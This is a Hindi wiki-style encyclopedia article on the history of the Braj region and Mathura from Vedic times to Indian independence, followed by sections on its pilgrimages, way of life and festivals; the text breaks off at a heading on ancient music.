[[आर्य]] और उनका प्रारंभिक निवास (वैदिक संस्कृति)- जिसे `[[सप्त सिंघव]]' देश कहा गया है, वह भाग भारतवर्ष का उत्तर पश्चिमी भाग था। मान्यताओं के अनुसार यही सृष्टि का आरंभिक स्थल और आर्यों का आदि देश है। सप्त सिंघव देश का फैलाव [[कश्मीर]], [[पाकिस्तान]] और [[पंजाब]] के अधिकांश भाग में था। आर्य, उत्तरी ध्रुव, मध्य एशिया अथवा किसी अन्य स्थान से भारत आये हों, भारतीय मान्यता में पूर्ण रूप से स्वीकार्य नहीं है। भारत में ही नहीं विश्व भर में संख्या 'सात' का आश्चर्यजनक मह्त्व है जैसे सात सुर, सात रंग, [[सप्तर्षि|सप्त-ॠषि]], सात सागर, आदि इसी तरह सात नदियों के कारण सप्त सिंघव देश के नामकरण हुआ था।
 
====आदिम काल (पूर्व कृष्ण काल)====
 
{{main|ब्रज का आदिम काल}}
 
राजा [[कुरु]] के नाम पर ही सरस्वती नदी के निकट का राज्य [[कुरुक्षेत्र]] कहा गया। प्राचीन समय के राजाओं की वंशावली का अध्ययन करने से पता चलता है कि पंचाल राजा [[सुदास]] के समय में भीम सात्वत यादव का बेटा अंधक भी राजा रहा होगा। इस अंधक के बारे में पता चलता है कि शूरसेन राज्य के समकालीन राज्य का स्वामी था। अंधक अपने पिता भीम के समान वीर न था। इस युद्ध से ज्ञात होता है कि वह भी सुदास से हार गया था।
 
====कृष्ण काल में ब्रज====
 
{{main|ब्रज का कृष्ण काल}}
 
श्रीकृष्ण के समय का निर्धारण विभिन्न विद्वानों ने किया है। अनेक इतिहासकार कृष्ण को ऐतिहासिक चरित्र नहीं मानते। यूँ भी आस्था के प्रश्नों का हल इतिहास में तलाशने का कोई अर्थ नहीं है। आपने जो इतिहास की सामग्री अक्सर खंगाली होगी वह संभवतया कृष्ण की ऐतिहासिता पर अनेक प्रश्नचिह्न लगाती होगी। हमारा प्रयास है कि जो जैसा उपलब्ध है। आप तक पहुँचायें। कई विद्वान श्री कृष्ण को 3500 वर्ष से अधिक प्राचीन नहीं मानते हैं। भारतीय मान्यता के अनुसार [[कृष्ण]] का काल 5000 वर्ष से भी कुछ अधिक पुराना लगता है। इसका वैज्ञानिक और ऐतिहासिक आधार भी कुछ विद्वानों ने सिद्ध करने का प्रयास किया है।
 
====मौर्य काल में ब्रज====
 
{{Main|ब्रज का मौर्य काल}}
 
मौर्य शासकों ने यातायात की सुविधा तथा व्यापारिक उन्नति के लिए अनेक बडी़ सड़कों का निर्माण करवाया। सबसे बड़ी सड़क [[पाटलिपुत्र]] से पुरुषपुर (पेशावर) तक जाती थी जिसकी लंबाई लगभग 1,850 मील थी। यह सड़क राजगृह, [[काशी]], [[प्रयाग]], [[साकेत (अयोध्या)|साकेत]], [[कौशाम्बी]], [[कन्नौज]], [[मथुरा]], [[हस्तिनापुर]], शाकल, [[तक्षशिला]] और पुष्कलावती होती हुई [[पेशावर]] जाती थी। [[मैगस्थनीज़]] के अनुसार इस सड़क पर आध-आध कोस के अंतर पर पत्थर लगे हुए थे। मेगस्थनीज संभवत: इसी मार्ग से होकर पाटलिपुत्र पहुँचा था। इस बडी़ सड़क के अतिरिक्त मौर्यों के द्वारा अन्य अनेक मार्गों का निर्माण भी कराया गया।
 
{{बाँयाबक्सा|पाठ=प्राचीन साहित्य में मधुरा या मथुरा का नाम तो बहुत मिलता है पर कृष्णापुर या केशवपुर नामक नगर का पृथक् उल्लेख कहीं नहीं प्राप्त होता है। अतः ठीक यही जान पड़ता है कि यूनानी लेखकों ने भूल से मथुरा और कृष्णपुर [केशवपुर] को, जो वास्तव में एक ही थे, अलग-अलग लिख दिया है।--- '''श्री कृष्णदत्त वाजपेयी'''|विचारक=}}
 
अलउत्वी के अनुसार [[महमूद ग़ज़नवी]] के समय में यमुना पार आजकल के [[महावन]] के पास एक राज्य की राजधानी थी, जहाँ एक सुदृढ़ दुर्ग भी था। वहाँ के राजा कुलचंद ने मथुरा की रक्षा के लिए महमूद से महासंग्राम किया था। संभवतः यह कोई पृथक् नगर नहीं था, वरन वह मथुरा का ही एक भाग था। उस समय में [[यमुना नदी]] के दोनों ही ओर बने हुए मथुरा नगर की बस्ती थी [यह मत अधिक तर्कसंगत प्रतीत होता है]। चीनी यात्री [[फ़ाह्यान]] और [[हुएन-सांग]] ने भी यमुना नदी के दोनों ही ओर बने हुए बौद्ध संघारामों का विवरण किया है। इस प्रकार मैगस्थनीज का [[क्लीसोबोरा]] (कृष्णपुरा) कोई प्रथक नगर नहीं वरन उस समय के विशाल मथुरा नगर का ही एक भाग था, जिसे अब [[गोकुल]]-महावन के नाम से जाना जाता है। इस संबंध में श्री कृष्णदत्त वाजपेयी के मत तर्कसंगत लगता है– प्राचीन साहित्य में मधुरा या मथुरा का नाम तो बहुत मिलता है पर कृष्णापुर या केशवपुर नामक नगर का पृथक् उल्लेख कहीं नहीं प्राप्त होता है। अतः ठीक यही जान पड़ता है कि यूनानी लेखकों ने भूल से मथुरा और कृष्णपुर [केशवपुर] को, जो वास्तव में एक ही थे, अलग-अलग लिख दिया है। भारतीय लोगों ने मैगस्थनीज को बताया होगा कि [[शूरसेन]] जनपद की राजधानी मथुरा केशवपुरी है। उसने उन दोनों नामों को एक दूसरे से पृथक् समझ कर उनका उल्लेख अलग-अलग नगर के रूप में किया होगा। यदि शूरसेन जनपद में मथुरा और कृष्णपुर नाम के दो प्रसिद्ध नगर होते, तो मेगस्थनीज के कुछ समय पहले उत्तर [[भारत]] के जनपदों के जो वर्णन भारतीय साहित्य [विशेष कर बौद्ध एवं जैन ग्रंथो] में मिलते हैं, उनमें मथुरा नगर के साथ कृष्णापुर या केशवपुर का भी नाम मिलता है।
 
 
 
====शुंग काल में ब्रज====
 
{{Main|ब्रज का शुंग काल}}
 
शुंगवशीय शासक वैदिक धर्म को मानते थे<ref>पुष्यमित्र के द्वारा दो [[अश्वमेध यज्ञ]] करने का उल्लेख [[अयोध्या]] से प्राप्त एक लेख में मिलता है (एवीग्राफिया इंडिका, जि0 20, पृ0 54-8)। पतंजलि के महाभाष्य में पुष्यमित्र के यज्ञ का जो उल्लेख है उससे पता चलता है कि स्वयं पतंजलि ने इस यज्ञ में भाग लिया था।</ref> फिर भी शुंग शासन-काल में बौद्ध धर्म की काफ़ी उन्नति हुई। बोधगया मंदिर की वेदिका का निर्माण भी इनके शासन-काल में ही हुआ। अहिच्छत्र के राजा इन्द्रमित्र तथा मथुरा के शासक ब्रह्ममित्र और उसकी रानी नागदेवी, इन सब के नाम बोधगया की वेदिका में उत्कीर्ण है। <ref> राय चौधरी - वही, पृ0 392-93। ब्रह्ममित्र मथुरा का प्रतापी शासक प्रतीत होता है। इसके सिक्के बड़ी संख्या में प्राप्त हुए हैं। 1954 के प्रारंभ में ब्रह्ममित्र के लगभग 700 तांबे के सिक्कों का घड़ा, ढेर मथुरा में मिला है।</ref> इससे ज्ञात होता है कि सुदूर पंचाल और शूरसेन जनपद में इस काल में बौद्ध धर्म के प्रति भी आस्था थी। महाभाष्य में [[पतंजलि]] ने मथुरा का विवरण देते हुए लिखा है, यहाँ के लोग [[पाटलिपुत्र]] के नागरिकों की अपेक्षा अधिक सपंन्न थे। <ref>सांकाश्यकेभ्यश्च पाटलिपुत्र केभ्यश्चमाथुरा अभिरूपतरा इति (महाभाष्य, 5,3,57)। संकाश्य का आधुनिक नाम संकिसा है, जो [[उत्तर प्रदेश]] के फ़र्रु्ख़ाबाद ज़िले में काली नदी के तट पर स्थित है।</ref> शुंग काल में उत्तरी भारत के मुख्य नगरों में मथुरा की भी गिनती होती थी।'''
 
 
 
====शक कुषाण काल में ब्रज====
 
{{Main|ब्रज का शक कुषाण काल}}
 
कुषाणों के एक सरदार का नाम [[कुजुल कडफाइसिस]] था। उसने क़ाबुल और कन्दहार पर अधिकार कर लिया। पूर्व में यूनानी शासकों की शक्ति कमज़ोर हो गई थी, कुजुल ने इस का लाभ उठा कर अपना प्रभाव यहाँ बढ़ाना शुरू कर दिया। पह्लवों को पराजित कर उसने अपने शासन का विस्तार पंजाब के पश्चिम तक स्थापित कर लिया। मथुरा में इस शासक के तांबे के कुछ सिक्के प्राप्त हुए है।
 
मथुरा में कुषाणों के देवकुल होने तथा विम की मूर्ति प्राप्त होने से यह अनुमान किया जा सकता है कि मथुरा में विम का निवास कुछ समय तक अवश्य रहा होगा और यह नगर कुषाण साम्राज्य के मुख्य केन्द्रों में से एक रहा होगा। विम ने राज्य की पूर्वी सीमा बनारस तक बढा ली। इस विस्तृत राज्य का प्रमुख केन्द्र मथुरा नगर बना। चीनियों की पौराणिक मान्यता के अनुसार विम के उत्तरी साम्राज्य की प्रमुख राजधानी हिंदुकुश‎ के उत्तर तुखार देश में थी। भारतीय राज्यों का शासन 'क्षत्रपों' से कराया जाता था। विम का विशाल साम्राज्य एक तरफ [[चीन]] के साम्राज्य को लगभग छूता था तो दूसरी तरफ उसकी सीमाऐं दक्षिण के सातवाहन राज्य को छूती हुई थी। इतने विशाल एवं विस्तृत राज्य के लिए प्रादेशिक शासकों का होना भी आवश्यक था।
 
====गुप्त काल में ब्रज====
 
{{Main|ब्रज का गुप्त काल}}
 
[[चन्द्रगुप्त विक्रमादित्य]] के समय के तीन लेख मथुरा नगर से मिले हैं। पहला लेख ([[मथुरा संग्रहालय]] सं. 1931) गुप्त संवत 61 (380 ई.) का है यह मथुरा नगर में [[रंगेश्वर महादेव मथुरा|रंगेश्वर महादेव]] के समीप एक बगीची से प्राप्त हुआ है। शिलालेख लाल पत्थर के एक खंभे पर है। यह सम्भवतः चंद्रगुप्त के पाँचवे राज्यवर्ष में लिखा गया था। इस शिलालेख़ में उदिताचार्य द्वारा उपमितेश्वर और कपिलेश्वर नामक शिव-प्रतिमाओं की प्रतिष्ठापना का वर्णन है। खंभे पर ऊपर त्रिशूल तथा नीचे दण्डधारी रुद्र (लकुलीश) की मूर्ति है।
 
 
 
चंद्रगुप्त के शासन-काल के उपलब्ध लेखों में यह लेख सब से प्राचीन है। इससे तत्कालीन मथुरा में शैव धर्म के होने की पुष्टि के होती है। अन्य दोनों शिलालेख मथुरा के [[कटरा केशवदेव मन्दिर मथुरा|कटरा केशवदेव]] से मिले हैं। इनमें से एक शिलालेख (मथुरा संग्रहालय सं. क्यू. 5) में महाराज गुप्त से लेकर चंद्रगुप्त विक्रमादित्य तक की वंशावली अंकित है। लेख में अन्त में चंद्रगुप्त द्वारा कोई बड़ा धार्मिक कार्य किये जाने का अनुमान होता है। लेख का अंतिम भाग खंडित है इस कारण यह निश्चित रूप से कहना कठिन है। बहुत संभव है कि महाराजाधिराज चंद्रगुप्त के द्वारा श्रीकृष्ण जन्मस्थान पर एक भव्य मंदिर का निर्माण कराया गया हो, जिसका विवरण इस शिलालेख़ में रहा होगे।<ref>लेख के प्राप्ति-स्थान कटरा केशवदेव से गुप्तकालीन कलाकृतियाँ बहुत बड़ी संख्या में प्राप्त हुई हैं, जिनसे ज्ञात होता है कि इस समय में यहाँ विभिन्न सुन्दर प्रतिमाओं सहित एक वैष्णव मंन्दिर था।</ref> तीसरा शिलालेख़ (मथुरा संग्रहालय सं. 3835) [[कृष्ण जन्मस्थान]] की सफ़ाई कराते समय 1954 ई.. में मिला है। यह लेख बहुत खंडित है। इसमें गुप्त-वंशावली के प्रारंभिक अंश के अतिरिक्त शेष भाग खंड़ित है।
 
 
 
====मध्य काल में ब्रज====
 
{{Main|ब्रज का मध्य काल}}
 
गुप्त साम्राज्य के पतन के बाद लगभग आधी शताब्दी तक उत्तर भारत की राजनीतिक स्थिति अस्थिर रही। छोटे-बड़े राजा अपनी शक्ति बढ़ाने लगे। सम्राट् [[हर्षवर्धन]] के शासन में आने तक कोई ऐसी शक्तिशाली केन्द्रीय सत्ता न थी जो छोटे-छोटे राज्यों को सुसंगठित करके शासित करती। छठी शती के मध्य में मौखरी, [[वर्धन वंश|वर्धन]], गुर्जन, मैत्रक कलचुरि आदि राजवंशों का अभ्युदय प्रारम्भ हुआ। मथुरा प्रदेश पर अनेक वंशों का राज्य मध्यकाल में रहा। यहाँ अनेक छोटे बड़े राज्य स्थापित हो गये थे और उनके शासक अपनी शक्ति बढ़ाने के प्रयास में आपस लड़ रहे थे। उस समय देश में दो राजवंशों का उदय हुआ, [[मौखरि वंश|मौखरि राजवंश]] और [[वर्धन राजवंश]]।
 
 
 
मौखरी वंश का प्रथम राजा [[ईशानवर्मा|ईशानवर्मन]] था, वह बड़ा शाक्तिशाली राजा था। गुप्त साम्राज्य के पतन के बाद लगभग 554 ई. में मौखरी शासक ईशानवर्मन ने 'महाराजाधिराज' उपाधि धारण की। ईशानवर्मन के समय में मौखरी राज्य की सीमाऐं पूर्व में [[मगध]] तक, दक्षिण में मध्य प्रांत और आंध्र तक, पश्चिम में [[मालवा]] तथा उत्तर-पश्चिम में थानेश्वर राज्य तक थी। उसके राज्य की दो राजधानियाँ थीं,
 
#[[कन्नौज]]
 
#मथुरा।
 
 
 
====उत्तर मध्य काल में ब्रज====
 
{{Main|ब्रज का उत्तर मध्य काल}}
 
[[पृथ्वीराज चौहान|पृथ्वीराज]] और [[जयचंद्र]] को सन् 1191 एवं सन् 1194 वि. में हराने के बाद [[मुहम्मद ग़ोरी‎]] ने [[भारत]] में मुस्लिम साम्राज्य की नींव डाली और अपने जीते गये राज्य की व्यवस्था अपने सेनापति क़ुतुबुद्दीन को सौंपकर ख़ुद वापस चला गया। मोहम्मद ग़ोरी के जीवन काल तक क़ुतुबुद्दीन उसके अधीनस्थ शासक बन कर मुस्लिम साम्राज्य को व्यवस्थित करता रहा। सन् 1206 में ग़ोरी की मृत्यु के बाद क़ुतुबुद्दीन भारत के मुस्लिम साम्राज्य का प्रथम स्वतंत्र शासक बना; उसने [[दिल्ली]] को राजधानी बनाया। शुरू से ही दिल्ली मुस्लिम साम्राज्य की राजधानी रही; और बाद तक बनी रही। [[मुग़ल काल]] में [[अकबर]] ने [[आगरा]] को राजधानी बनाया ; फिर उसके पौत्र [[शाहजहाँ]] ने दोबारा दिल्ली को राजधानी बना दिया।
 
 
 
'''ख़िलजी वंश में ब्रज'''<br />
 
 
 
[[अलाउद्दीन ख़िलजी]] वंश का सबसे मशहूर सुल्तान था। अपने चाचा की हत्या करा कर वह शासक बना और पूरे अपने जीवन काल में वह युद्ध कर राज्य का विस्तार करता रहा। वह कुटिल क्रूर और हिंसक प्रवृति का बहुत ही महत्त्वाकांक्षी और होशियार सेना प्रधान था 20 वर्ष के अपने शासन काल में उसने लगभग सारे भारत को अपने शासन में कर लिया था। उसने ही देवगिरि, [[गुजरात]], [[राजस्थान]], [[मालवा]] और दक्षिण के अधिकतर राज्यों पर सबसे पहले मुस्लिम शासन स्थापित किया। [[चित्तौड़]] की [[पद्मिनी (रानी)|रानी पद्मिनी]] के लिए राजपूतों से युद्ध किया, इस युद्ध में बहुत से राजपूत नर−नारियों ने बलिदान दिया। शासक बनते ही उसकी कुदृष्टि [[मथुरा]] की तरफ हुई। उसने सन् 1297 में मथुरा के [[असिकुण्ड तीर्थ मथुरा|असिकुण्डा घाट]] के पास के पुराने मंदिर को तोड़ कर एक मस्जिद बनवाई, कालान्तर में [[यमुना नदी|यमुना]] की बाढ़ से यह मस्जिद नष्ट हो गई।
 
 
 
====मुग़ल काल में ब्रज====
 
{{Main|ब्रज का मुग़ल काल}}
 
मुग़लों के शासन के प्रारम्भ से सुल्तानों के शासन के अंतिम समय तक दिल्ली ही भारत की राजधानी रही थी। सुल्तान सिंकदर लोदी के शासन के उत्तर काल में उसकी राजनीतिक गतिविधियों का केन्द्र दिल्ली के बजाय [[आगरा]] हो गया था। यहाँ उसकी सैनिक छावनी थी। मुग़ल राज्य के संस्थापक बाबर ने शुरू से ही आगरा को अपनी राजधानी बनाया। [[बाबर]] के बाद [[हुमायूँ]] और [[शेरशाह सूरी]] और उसके उत्तराधिकारियों ने भी आगरा को ही राजधानी बनाया। मुग़ल सम्राट [[अकबर]] ने पूर्व व्यवस्था को कायम रखते हुए आगरा को राजधानी का गौरव प्रदान किया। इस कारण आगरा की बड़ी उन्नति हुई और वह मुग़ल साम्राज्य का सबसे बड़ा नगर बन गया था। कुछ समय बाद अकबर ने [[फ़तेहपुर सीकरी]] को राजधानी बनाया।
 
 
 
मुग़ल सम्राट अकबर की उदार धार्मिक नीति के फलस्वरूप ब्रजमंडल में [[वैष्णव धर्म]] के नये मंदिर−देवालय बनने लगे और पुराने का जीर्णोंद्धार होने लगा, तब जैन धर्माबलंबियों में भी उत्साह का संचार हुआ था। गुजरात के विख्यात श्वेतांबराचार्य हीर विजय सूरि से सम्राट अकबर बड़े प्रभावित हुए थे। सम्राट ने उन्हें बड़े आदरपूवर्क सीकरी बुलाया, वे उनसे धर्मोपदेश सुना करते थे। इस कारण मथुरा−आगरा आदि ब्रज प्रदेश में बसे हुए जैनियों में आत्म गौरव का भाव जागृत हो गया था। वे लोग अपने मंदिरों के निर्माण अथवा जीर्णोद्धार के लिए प्रयत्नशील हो गये थे।
 
 
 
====जाट मराठा काल में ब्रज====
 
{{Main|ब्रज का जाट मराठा काल}}
 
मुग़ल सल्तनत के आख़री समय में जो शक्तियाँ उभरी; जिन्होंने ब्रजमंडल के इतिहास में महत्त्वपूर्ण भूमिका निभाई, उन [[जाट]] और मराठा सरदारों के नाम इतिहास में बहुत मशहूर हैं। [[जाटों का इतिहास]] पुराना है। जाट मुख्यतः खेती करने वाली जाति है; लेकिन [[औरंगज़ेब]] के अत्याचारों और निरंकुश प्रवृति ने उन्हें एक बड़ी सैन्य शक्ति का रूप दे दिया। उधर मराठों ने [[शिवाजी|छत्रपति शिवाजी]] के नेतृत्व में औरगंज़ब को भीषण चुनौती दी और सफलता भी प्राप्त की जिससे मराठा भी उत्तर भारत में मशहूर हुए।
 
 
 
'''सूरजमल का मूल्यांकन'''
 
{{Main|सूरजमल}}
 
ब्रज के जाट राजाओं में [[सूरजमल]] सबसे प्रसिद्ध शासक, कुशल सेनानी, साहसी योद्धा और सफल राजनीतिज्ञ था। उसने जाटों में सब से पहले राजा की पदवी धारण की थी; और एक शक्तिशाली हिन्दू राज्य का संचालन किया था। उसका राज्य विस्तृत था, जिसमें [[डीग भरतपुर|डीग]]−[[भरतपुर]] के अतिरिक्त मथुरा, आगरा, [[धौलपुर]], [[हाथरस]], [[अलीगढ़]], [[एटा]], मैनपुरी, [[गुड़गाँव]], रोहतक, रेवाड़ी, फर्रूखनगर और मेरठ के ज़िले थे। एक ओर यमुना में [[गंगा]] तक और दूसरी ओर [[चंबल नदी|चंबल]] तक का सारा प्रदेश उसके राज्य में सम्मिलित था।
 
 
 
====स्वतंत्रता संग्राम 1857 में ब्रज====
 
{{Main|ब्रज का स्वतंत्रता संग्राम 1857}}
 
मथुरा के शासन की लगाम भारतीय सैनिकों के हाथों में आ गयी थी। यूरोपियन बंगले और कलक्ट्री-भवन सब आग को समर्पित कर मथुरा जेल के बन्दी कारागार से मुक्त हो गये थे। विदेशी हुकूमत को मिटाकर स्वाधीनता का शंखनाद करने वाले, अंतिम मुग़ल सम्राट बहादुरशाह जफ़र के हाथ मज़बूत करने भारत माता के विप्लवी सपूत गर्वोन्मत भाव से मचल पड़े और चल पड़े कोसी की दिशा में शेरशाह सूरी राज मार्ग से, जहाँ अंग्रेज़ी सेना दिल्ली की ओर से मथुरा की ओर आने वाले भारतीय क्रान्तिवीरों के टिड्डी दलों को रोकने के उद्देश्य से जमा थी। थाँर्नहिल स्वयं पड़ाव डाले पड़ा था। यह सनसनीखेज कहानी किसी कल्पित उपन्यास का हिस्सा नहीं है, बल्कि एक ऐतिहासिक दस्तावेज है, जो ख़ुद अंग्रेज़ कलक्टर की क़लम से पश्चिमोत्तर प्रान्त के आगरा स्थित तत्कालीन गवर्नमेंट सेक्रेटरी सी0 बी0 थॉर्नहिल के नाम 5 जून 1857 को लिखा गया था।
 
====स्वतंत्रता संग्राम 1920-1947 में ब्रज====
 
{{Main|ब्रज का स्वतंत्रता संग्राम 1920-1947}}
 
सन् 1921 के प्रारम्भ होने पर [[असहयोग आंदोलन]] में तेजी आने लगी तथा मथुरा ज़िले के गांवों एवं कस्बों में भी इसकी लहर फैलने लगी। अड़ींग, [[गोवर्धन]], [[वृन्दावन]] एवं कोसी आदि स्थानों में भी राष्द्रीय हलचल प्रारम्भ हो गयी। गोवर्धन में राष्द्रीय चेतना को बढाने में सर्वश्री कृष्णबल्लभ शर्मा, ब्रजकिशोर, रामचन्द्र भट्ट  एवं अपंग बाबू आदि प्रमुख थे। वृदावन में सर्वश्री गोस्वामी छबीले लाल, नारायण बी.ए., पुरुषोत्तम लाल, मूलचन्द सर्राफ आदि ने प्रमुख भाग लिया। असहयोग आन्दोलन तीव्र करने के लिए 9 अगस्त सन् 1921 को [[लाला लाजपत राय]] के सभापतित्व में वृन्दावन की मिर्जापुर वाली धर्मशाला में एक विशाल सभा हुई थी। इसमें हज़ारों की संख्या में जनता उपस्थित थी।
 
 
 
==प्रजातांत्रिक व्यवस्था==
 
आश्चर्यजनक है कि कृष्ण के समय से पहले ही [[मथुरा]] में एक प्रकार की प्रजातांत्रिक व्यवस्था थी। [[अंधक]] और [[वृष्णि संघ|वृष्णि]], दो संघ परोक्ष मतदान प्रक्रिया से अपना मुखिया चुनते थे। [[उग्रसेन]] अंधक संघ के मुखिया थे, जिनका पुत्र [[कंस]] एक निरंकुश शासक बनना चाहता था। [[अक्रूर]] ने कृष्ण से कंस का वध करवा कर प्रजातंत्र की रक्षा करवाई। वृष्णि संघ के होने के कारण द्वारका के राजा, कृष्ण बने। दूसरे उदाहरण में बौद्ध अनुश्रुति के अनुसार बुद्ध ने मथुरा आगमन पर अपने शिष्य [[आनन्द (बौद्ध)|आनन्द]] से मथुरा के संबंध में कहा है कि "यह आदि राज्य है, जिसने अपने लिए राजा (महासम्मत) चुना था।" <ref>{{cite web |url=http://hi.brajdiscovery.org/index.php?title=%E0%A4%AC%E0%A5%8D%E0%A4%B0%E0%A4%9C |title=…प्रजातांत्रिक व्यवस्था |accessmonthday=25 जून |accessyear=2011 |last= |first= |authorlink= |format=पी.एच.पी |publisher=ब्रज डिस्कवरी |language=हिन्दी }}</ref>
 
 
 
{{see also|बुद्ध|आनन्द (बौद्ध)|कृष्ण नारद संवाद}}
 
 
 
==ब्रज की संस्कृति==
 
यहाँ के वन–उपवन, कुन्ज–निकुन्ज, श्री यमुना व गिरिराज अत्यन्त मोहक हैं। पक्षियों का मधुर स्वर एकांकी स्थली को मादक एवं मनोहर बनाता है। मोरों की बहुतायत तथा उनकी पिऊ–पिऊ की आवाज़ से वातावरण गुन्जायमान रहता है। बाल्यकाल से ही भगवान कृष्ण की सुन्दर मोर के प्रति विशेष कृपा तथा उसके पंखों को शीष मुकुट के रूप में धारण करने से स्कन्द वाहन स्वरूप मोर को भक्ति [[साहित्य]] में महत्त्वपूर्ण स्थान मिला है। सरकार ने [[मोर]] को राष्ट्रीय पक्षी घोषित कर इसे संरक्षण दिया है।
 
ब्रज की महत्ता प्रेरणात्मक, भावनात्मक व रचनात्मक है तथा साहित्य और [[कला|कलाओं]] के विकास के लिए यह उपयुक्त स्थली है। [[संगीत]], नृत्य एवं अभिनय ब्रज [[संस्कृति]] के प्राण बने हैं। ब्रजभूमि अनेकानेक मठों, मूर्तियों, मन्दिरों, महंतो, महात्माओं और महामनीषियों की महिमा से वन्दनीय है। यहाँ सभी सम्प्रदायों की आराधना स्थली है। ब्रज की रज का महात्म्य भक्तों के लिए सर्वोपरि है।
 
[[चित्र:Danghati Temple Govardhan Mathura 3.jpg|left|thumb|250px|[[दानघाटी गोवर्धन|दानघाटी मन्दिर]], [[गोवर्धन]]]]
 
इसीलिए [[ब्रज चौरासी कोस की यात्रा|ब्रज चौरासी कोस]] में 21 किलोमीटर की गोवर्धन–[[राधाकुण्ड गोवर्धन|राधाकुण्ड]], 27 किलोमीटर की गरुड़ गोविन्द–[[वृन्दावन]], 5–5कोस की मथुरा–वृन्दावन, 15–15 किलोमीटर की मथुरा, वृन्दावन, 6–6 किलोमीटर नन्दगांव, [[बरसाना]], [[बहुलावन]], [[भांडीरवन]], 9 किलोमीटर की [[गोकुल]], 7.5 किलोमीटर की बल्देव, 4.5–4.5 किलोमीटर की [[मधुवन]], [[लोहवन]], 2 किलोमीटर की [[तालवन]], 1.5 किलोमीटर की [[कुमुदवन]] की नंगे पांव तथा दण्डोती परिक्रमा लगाकर श्रृद्धालु धन्य होते हैं। प्रत्येक त्योहार, उत्सव, ऋतु माह एवं दिन पर परिक्रमा देने का ब्रज में विशेष प्रचलन है। देश के कोने–कोने से आकर श्रृद्धालु ब्रज परिक्रमाओं को धार्मिक कृत्य और अनुष्ठान मानकर अति श्रद्धा भक्ति के साथ करते हैं। इनसे नैसर्गिक चेतना, धार्मिक परिकल्पना, संस्कृति के अनुशीलन उन्नयन, मौलिक व मंगलमयी प्रेरणा प्राप्त होती है। आषाढ़ तथा अधिक मास में गोवर्धन पर्वत परिक्रमा हेतु लाखों श्रद्धालु आते हैं। ऐसी अपार भीड़ में भी राष्ट्रीय एकता और सद्भावना के दर्शन होते हैं। भगवान श्रीकृष्ण, [[बलराम|बलदाऊ]] की लीला स्थली का दर्शन तो श्रद्धालुओं के लिए प्रमुख है ही यहाँ [[अक्रूर|अक्रूर जी]], [[उद्धव|उद्धव जी]], [[नारद|नारद जी]], [[ध्रुव|ध्रुव जी]] और वज्रनाथ जी की यात्रायें भी उल्लेखनीय हैं।
 
 
 
==ब्रज की जीवन शैली==
 
परम्परागत रूप से ब्रजवासी सानन्द जीवन व्यतीत करते हैं। नित्य स्नान, भजन, मन्दिर गमन, दर्शन–झांकी करना, दीन–दुखियों की सहायता करना, अतिथि सत्कार, लोकोपकार के कार्य, पशु–पक्षियों के प्रति प्रेम, नारियों का सम्मान व सुरक्षा, बच्चों के प्रति स्नेह , उन्हें अच्छी शिक्षा देना तथा लौकिक व्यवहार कुशलता उनकी जीवन शैली के अंग बन चुके हैं। यहाँ कन्या को देवी के समान पूज्य माना जाता है। ब्रज वनितायें पति के साथ दिन–रात कार्य करते हुए कुल की मर्यादा रखकर पति के साथ रहने में अपना जीवन सार्थक मानती है। संयुक्त परिवार प्रणाली साथ रहने, कार्य करने ,एक–दूसरे का ध्यान रखने, छोटे–बड़े के प्रति यथोचित सम्मान , यहाँ की समाजिक व्यवस्था में परिलक्षित होता है। सत्य और संयम ब्रज लोक जीवन के प्रमुख अंग हैं। यहाँ कार्य के सिद्धान्त की महत्ता है और जीवों में परमात्मा का अंश मानना ही दिव्य दृष्टि है।
 
महिलाओं की मांग में सिंदूर, माथे पर बिन्दी, नाक में लौंग या बाली, कानों में कुण्डल या झुमकी–झाली, गले में मंगल सूत्र, हाथों में [[चूड़ी]], पैरों में बिछुआ–चुटकी, महावर और पायजेब या तोड़िया उनकी सुहाग की निशानी मानी जाती हैं। विवाहित महिलायें अपने पति परिवार और गृह की मंगल कामना हेतु [[करवा चौथ]] का व्रत करती हैं, पुत्रवती नारियां संतान के मंगलमय जीवन हेतु [[अहोई अष्टमी]] का व्रत रखती हैं। स्वर्गस्तक सतिया चिह्न यहाँ सभी मांगलिक अवसरों पर बनाया जाता है और शुभ अवसरों पर नारियल का प्रयोग किया जाता है।
 
 
 
देश के कोने–कोने से लोग यहाँ पर्वों पर एकत्र होते हैं। जहां विविधता में एकता के साक्षात दर्शन होते हैं। ब्रज में प्राय: सभी मन्दिरों में [[रथ का मेला वृन्दावन|रथयात्रा]] का उत्सव होता है। चैत्र मास में वृन्दावन में [[रंग नाथ जी मन्दिर वृन्दावन|रंगनाथ जी]] की सवारी विभिन्न वाहनों पर निकलती है। जिसमें देश के कोने–कोने से आकर भक्त सम्मिलित होते हैं। ज्येष्ठ मास में [[गंगा दशहरा]] के दिन प्रात: काल से ही विभिन्न अंचलों से श्रद्धालु आकर यमुना में स्नान करते हैं। इस अवसर पर भी विभिन्न प्रकार की वेशभूषा और शिल्प के साथ राष्ट्रीय एकता के दर्शन होते हैं , इस दिन छोटे–बड़े सभी कलात्मक ढंग की रंगीन पतंग उड़ाते हैं।
 
 
 
आषाढ़ मास में  गोवर्धन पर्वत की परिक्रमा हेतु प्राय: सभी क्षेत्रों से यात्री गोवर्धन आते हैं, जिसमें आभूषणों, परिधानों आदि से क्षेत्र की शिल्प कला उद्भाषित होती है। [[श्रावण]] मास में हिन्डोलों के उत्सव में विभिन्न प्रकार से कलात्मक ढंग से सज्जा की जाती है। भाद्रपद में मन्दिरों में विशेष कलात्मक झांकियां तथा सजावट होती है। आश्विन माह में सम्पूर्ण ब्रज क्षेत्र में कन्याएं घर की दीवारों पर गोबर से विभिन्न प्रकार की कृतियां बनाती हैं, जिनमें कौड़ियों तथा रंगीन चमकदार [[काग़ज़|काग़ज़ों]]  के आभूषणों से अपनी सांझी को कलात्मक ढंग से सजाकर [[आरती पूजन|आरती]] करती हैं। इसी माह से मन्दिरों में [[काग़ज़]] के सांचों से सूखे रंगों की वेदी का निर्माण कर उस पर अल्पना बनाते हैं। इसको भी 'सांझी' कहते हैं। कार्तिक मास तो श्रीकृष्ण की बाल लीलाओं से परिपूर्ण रहता है। [[अक्षय तृतीया]] तथा [[देवोत्थान एकादशी]] को मथुरा तथा वृन्दावन  की परिक्रमा लगाई जाती है। [[बसंत पंचमी]] को सम्पूर्ण ब्रज क्षेत्र बसन्ती होता है। फाल्गुन मास में तो जिधर देखो उधर नगाड़ों , झांझ पर चौपाई तथा [[होली]] के रसिया की ध्वनियां सुनाई देती हैं। नन्दगांव तथा बरसाना की [[होली|लठामार होली]], [[बलदेव मन्दिर मथुरा|दाऊजी का हुरंगा]] जगत प्रसिद्ध है।
 
 
 
==ब्रज का प्राचीन संगीत==
